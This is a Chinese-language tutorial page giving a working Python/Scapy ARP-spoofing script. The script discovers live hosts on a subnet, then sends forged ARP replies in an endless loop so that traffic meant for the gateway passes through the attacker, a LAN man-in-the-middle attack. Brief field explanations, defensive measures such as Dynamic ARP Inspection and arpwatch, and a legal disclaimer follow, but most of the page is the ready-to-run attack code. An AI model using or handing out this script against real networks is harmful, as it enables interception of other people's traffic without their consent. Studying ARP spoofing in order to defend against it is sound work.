首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 更多程式語言 >> 更多程式設計知識

Python ARP 欺騙偽造網關:Scapy 發送偽造 ARP 回應實作

     編輯:更多程式設計知識

使用 Scapy 套件構造偽造 ARP 回應,將攻擊者 MAC 偽裝為網關,實現區域網路中間人攻擊(僅供安全研究教學用途)。

核心程式碼


# coding: utf-8
from scapy.all import ARP, send, arping
import sys, re

IP_RANGE = "192.168.1.*"
GATEWAY_IP = "192.168.1.1"
FAKE_GATEWAY_MAC = "00:11:22:33:44:55"

# 偽造 ARP 回應封包模板
pkt = ARP(op=2, hwsrc=FAKE_GATEWAY_MAC, psrc=GATEWAY_IP)

def arp_spoof(target_ip, target_mac):
    p = pkt.copy()
    p.hwdst = target_mac
    p.pdst = target_ip
    send(p, verbose=0)

def get_live_hosts():
    hosts = {}
    sys.stdout = open('host.info', 'w')
    arping(IP_RANGE)
    sys.stdout = sys.__stdout__
    with open('host.info') as f:
        lines = f.readlines()[2:]  # 跳過標題行
    for line in lines:
        parts = re.split(r'\s+', line.strip())
        if len(parts) >= 3:
            hosts[parts[1]] = parts[2]  # mac -> ip
    return hosts

if __name__ == "__main__":
    hosts = get_live_hosts()
    while True:
        for mac, ip in hosts.items():
            arp_spoof(ip, mac)

原理解析

  • ARP(op=2):ARP 回應封包。
  • hwsrc:發送者 MAC(偽造為網關 MAC)。
  • psrc:發送者 IP(網關 IP)。
  • hwdst、pdst:目標主機 MAC/IP。
  • 持續發送使目標主機 ARP 快取更新,流量經由攻擊者轉發。

防禦建議

  • 啟用交換器 Dynamic ARP Inspection (DAI)。
  • 靜態綁定 ARP 項目(arp -s)。
  • 部署 ARP 監控工具(如 arpwatch)。
  • 使用 VPN/加密通訊降低竊聽風險。

法律聲明

僅授權於自有網路環境進行安全測試與教學研究。未經授權對他人網路實施 ARP 欺騙屬違法行為,後果自負。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved